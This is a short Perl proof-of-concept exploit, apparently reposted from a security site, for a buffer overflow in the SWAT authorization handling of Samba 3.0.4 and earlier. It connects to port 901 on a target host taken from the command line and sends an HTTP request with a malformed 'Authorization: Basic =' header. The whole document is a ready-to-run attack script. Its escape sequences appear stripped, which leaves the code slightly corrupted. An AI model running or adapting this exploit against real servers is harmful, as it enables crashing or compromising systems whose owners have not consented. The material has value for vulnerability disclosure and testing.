信息来源:HK20
--------------------------------------------------------------------------------
#!/usr/bin/perl
# Samba 3.0.4 and prior's SWAT Authorization Buffer Overflow
# Created by Noam Rathaus of Beyond Security Ltd.
#
use IO::Socket;
use strict;
my $host = $ARGV[0];
my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,
PeerPort => "901" );
unless ($remote) { die "cannot connect to http daemon on $host" }
print "connectedn";
$remote->autoflush(1);
my $http = "GET / HTTP/1.1r
Host: $host:901r
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7) Gecko/20040712
Firefox/0.9.1r
Accept: text/xmlr
Accept-Language: en-us,en;q=0.5r
Accept-Encoding: gzip,deflater
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7r
Keep-Alive: 300r
Connection: keep-aliver
Authorization: Basic =r
r
";
print "HTTP: [$http]n";
print $remote $http;
sleep(1);
print "Sentn";
while (<$remote>)
{
print $_;
}
print "n";
close $remote;
--------------------------------------------------------------------------------